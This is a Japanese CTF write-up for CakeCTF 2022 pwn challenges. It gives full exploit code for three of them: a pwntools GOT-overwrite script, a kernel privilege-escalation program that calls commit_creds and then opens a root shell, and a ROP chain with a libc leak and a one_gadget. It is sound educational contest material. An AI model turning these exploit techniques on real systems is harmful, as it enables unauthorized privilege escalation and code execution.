CakeCTF 2022 Writeup

Cake CTF 2022にsh -a ./chikuで参加しました。チームメンバーの皆さん、お疲れ様でした
pwn は4問あって、3問は開催中に、1問(crc32pwn)は開催後に解きました。

デザイン、問題の質、運営すべて最高品質で、素晴らしいイベントでした。

やっぱり最近簡単な問題しか解けないし、自分自身の成長が止まっている気がします。

ここ3年くらい、最近新しいものを見ても聞いても何も頭に入ってこないです。終わりです。
Cake MemoryもRound4が解けませんでした。Round2も結構間違えるので、Round3あたりから緊張感がすごかったです。しばらくCake Memoryで脳を鍛えようと思います。

私は、CTFを技術的な知的好奇心とかよりも、問題が解けたときの脳内麻薬だけを追い求めてる気がします。
脳内麻薬ジャンキーなのかもしれません。

str.vs.cstr (88 solve)

C++の問題。

1. set c_str
2. get c_str
3. set str
4. get str
choice: 1
c_str: AAAAAAAAA
choice: 3
str: BBBBBBBBB

正直、strとcstrの違いは詳しくわからなかったが、
いくつか試してて、本問においては下記のことが分かった。
strは短ければ文字列自体はstackにとられるようだが、
長い文字だと文字列はheap内にとられて、スタックにポインタが保存されている。
c_strは、stack内に文字列自体がとられる。

下記はstrを長めに書き込んだ後stackに残っていた情報

pwndbg> tel 0x7fffffffde30
00:0000│  0x7fffffffde30 —▸ 0x416fc0 ◂— 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'
01:0008│  0x7fffffffde38 ◂— 0x92

0x416fc0 はheap内の文字列そのものが保存されている領域。
stack内にはポインタが残っている。

つまり、strで長めに書き込むことで、スタック内にポインタを作り、
c_strでstack内でBoFすれば、次のstrへの処理で
任意のアドレスへの書き込み、読み込みができる。

あとは
PIEも無効、Partial RELROなので、GOT Overwriteする。

pwndbg> checksec
[*] '/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@got.plt
を書き換えたが、これはdemanglingしたところ、
std::basic_ostream >& std::operator<< >(std::basic_ostream >&, char const*)
だったようだ。

GCC and MSVC C++ Demangler


一回目に、大きめにstrをやって、stack内にpointerを作る。
c_strでポインタを上書きする。

from pwn import *

elf=ELF("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall")

#p=process("/home/ubuntu/ctf/cakectf/str_vs_cstr_f088c31cd2d3c18483e24f38df724cad/str_vs_cstr/chall"
#          , aslr=True)
p=remote("pwn1.2022.cakectf.com",9003)

#gdb.attach(p)

p.sendlineafter("choice:", str(3))
p.sendlineafter("str:", cyclic(0x30))

p.sendlineafter("choice:", str(1))
p.sendlineafter("c_str:",cyclic(0x20)+p64(0x404048))

p.sendlineafter("choice:", str(3))
p.sendlineafter("str:", p64(0x4016de))

p.interactive()

welkerme (75 solve)

初心者向けKernel Exploitの問題。

脆弱性は自明で、ioctlで任意のコードがカーネル空間で実行できる。

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}

かつ、下記appendを見ればわかる通り、SMAPもSMEPもKPTIもKASLRもない。

#!/bin/sh
exec qemu-system-x86_64 \
     -m 64M \
     -nographic \
     -kernel vm/bzImage \
     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
     -no-reboot \
     -cpu qemu64 \
     -monitor /dev/null \
     -initrd vm/rootfs.cpio \
     -net nic,model=virtio \
     -net user


したがって、KROPとかも不要、KPTI trampolineもいらないし、
commit_creds(prepare_kernel_cred(NULL)); を実行して、そのままシェルを開くだけでいい。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002


void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

int func(void) {
  prepare_kernel_cred = 0xffffffff810726e0;
  commit_creds = 0xffffffff81072540;
  commit_creds(prepare_kernel_cred(NULL));
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

//  ret = ioctl(fd, CMD_ECHO, 12345);
//  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);
  execl("/bin/sh", "sh", NULL);
  close(fd);
  return 0;
}


躓きやすいところでいうと、 prepare_kernel_cred とcommit_creds だが、
この問題においては、これはVMを起動した後、中でコマンドをたたけばわかる。

/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810726e0 T prepare_kernel_cred

/ # cat /proc/kallsyms | grep commit_creds 
ffffffff81072540 T commit_creds

これは私の今年の目標が半分達成したといっていいのだろうか。ダメな気もする。

本問は細かめのノウハウ、例えば、debugするために-gdb tcp::12345 を付けたり、

丁寧、かつ再利用可能な形で全てファイルに書いてあって、
インストラクションとしても、今後のツールとしても最高の問題なので、
2枚印刷して、それぞれ神棚と仏壇に飾っておこう。

exploit: exploit.c
	gcc exploit.c -o exploit -static

run: exploit
# clean up
	rm -rf vm/mount
	mkdir -p vm/mount
# copy exploit
	cd vm/mount; cpio -idv < ../rootfs.cpio
	cp exploit vm/mount/exploit
	cd vm/mount; find . -print0 \
		| cpio -o --null --format=newc --owner root > ../rootfs.cpio
# run qemu
	./run.sh

debug: exploit vm/mount
# clean up
	rm -rf vm/mount
	mkdir -p vm/mount
# copy exploit
	cd vm/mount; cpio -idv < ../debugfs.cpio
	cp exploit vm/mount/exploit
	cd vm/mount; find . -print0 \
		| cpio -o --null --format=newc --owner root > ../debugfs.cpio
# run qemu (debug port: 12345)
	./debug.sh

smal arey (42 solve)

Second Bloodだったけど、最終的にたくさん解かれてた問題。

size: 4
index: 3
value: 3735928559

例えばsize=4の時はindex=4を指定すれば、indexを上書きできてしまう。
(3735928559 = 0xdeadbeef)

0x7fffffffde50:	0x0000000000000003	0x00000000deadbeef
0x7fffffffde60:	0x0000000000000004	0x0000000000000003

そうすることで、実質任意のスタックのアドレスを書き込めてしまう。
なんだ、楽勝じゃん!って思うが、ここからが長かった。
0x7fffffffde50より下には、書き換えてもRIPをとれるアドレスがない。

基本的にexitしてしまうので、returnすることはない。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
  long size, index, *arr;

  printf("size: ");
  if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
    exit(0);

  arr = ARRAY_NEW(size);
  while (1) {
    printf("index: ");
    if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
      exit(0);

    printf("value: ");
    scanf("%ld", &arr[index]);
  }
}

__attribute__((constructor))
void setup(void) {
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

rtld_globalを書き換えたりもしたけど、なぜかRIPに影響がなかった。(なぜ?)

ということで悩んでいたけど、indexをめちゃでかい形にして、メモリアドレスを一周して
スタックの上の方の書きかえればいいのではと思った。
書き換え前

pwndbg> tel 0x7fffffffdd80 10
00:0000│  0x7fffffffdd80 ◂— 0x0
01:0008│  0x7fffffffdd88 —▸ 0x4012d2 (main+284) ◂— cmp    eax, 1
02:0010│  0x7fffffffdd90 ◂— 0x0
03:0018│  0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0
04:0020│  0x7fffffffdda0 ◂— 0x3
05:0028│  0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp    eax, 1
06:0030│  0x7fffffffddb0 ◂— 0xdeadbeef
07:0038│  0x7fffffffddb8 ◂— 0x4
08:0040│  0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0
09:0048│  0x7fffffffddc8 ◂— 0x6101b7256f1f1700

書き換え後

pwndbg> tel 0x7fffffffdd80 10
00:0000│     0x7fffffffdd80 ◂— 0x0
01:0008│     0x7fffffffdd88 ◂— 0xdeadbeef
02:0010│ rsp 0x7fffffffdd90 ◂— 0x0
03:0018│     0x7fffffffdd98 —▸ 0x1555555552e0 ◂— 0x0
04:0020│     0x7fffffffdda0 ◂— 0x3
05:0028│     0x7fffffffdda8 —▸ 0x4011fa (main+68) ◂— cmp    eax, 1
06:0030│     0x7fffffffddb0 ◂— 0x7fffffffffffffff
07:0038│     0x7fffffffddb8 ◂— 0x1fffffffffffffff
08:0040│     0x7fffffffddc0 —▸ 0x7fffffffdd90 ◂— 0x0
09:0048│     0x7fffffffddc8 —▸ 0x4013e3 (__libc_csu_init+99) ◂— pop    rdi

これでEIPは取れたので、gadget使ってROPする。

from pwn import *


elf=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall")
libc=ELF("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/libc-2.31.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=process("/home/ubuntu/ctf/cakectf/smal_arey_070132ff25864d8a9d78b7b30b47238a/smal_arey/chall"
#          , aslr=False)
p=remote("pwn1.2022.cakectf.com",9002)

#gdb.attach(p)

# AAW in stack
ret=0x0040101a
pop_rdi=0x004013e3
pop_rsi_r15=0x004013e1
pop_rbp=0x0040119d

p.sendlineafter("size:", str(5))

p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xdeadbeef))

# ROP code
p.sendlineafter("index:", str(7))
p.sendlineafter("value:", str(pop_rdi))

p.sendlineafter("index:", str(8))
p.sendlineafter("value:", str(elf.got["printf"]))

p.sendlineafter("index:", str(9))
p.sendlineafter("value:", str(pop_rbp))

p.sendlineafter("index:", str(10))
p.sendlineafter("value:", str(0x404000))

p.sendlineafter("index:", str(11))
p.sendlineafter("value:", str(ret))

p.sendlineafter("index:", str(12))
p.sendlineafter("value:", str(elf.plt["printf"]))

p.sendlineafter("index:", str(13))
p.sendlineafter("value:", str(ret))

p.sendlineafter("index:", str(14))
p.sendlineafter("value:", str(elf.symbols["main"]))

p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xffffffffffffffff))



p.sendlineafter("index:", str(0x1fffffffffffffff))
p.sendlineafter("value:", str(0x004013d6))

print(hexdump(p.recv(timeout=1)))
libc_base=u64(p.recv()[:6]+b"\x00\x00") - libc.symbols["printf"]

log.info("libc_base is "+hex(libc_base))

# libc one_gadget
p.sendline(str(5))
# over write
p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xdeadbeef))

one_gadget=0xe3b04

p.sendlineafter("index:", str(4))
p.sendlineafter("value:", str(0xffffffffffffffff))


p.sendlineafter("index:", str(0x1fffffffffffffff))
p.sendlineafter("value:", str(libc_base+one_gadget))
p.interactive()

crc32pwn (8 solve)

脆弱性が見つからなかった。
fstatは条件によってはRace Conditionを起こすことがあるらしいが、今回は別になさそうに見えた。
コードをみた思ったのが、stbuf.st_sizeをバグらせればよさそうだなぁと思っていたものの、
そんなファイルを作ることができませんでした。おわり。

もちろん自分では復習するのですが、ほかの方のWriteUpの以上に付加価値は出せなさそうなので書かないでおきます。

その他miscのc_sandboxに着手して、GOT上書きすれば行けそうだなーと思ったのですが、手元でコンパイルするとアドレスがずれるので諦めました。docker内でやればいいのか。そらそうかだわな。
Cake_memoryは、人力でround4をクリアできずに詰みました。heapとにらめっこしてたけど、どうしてもアドレスを見つけられなかった。。。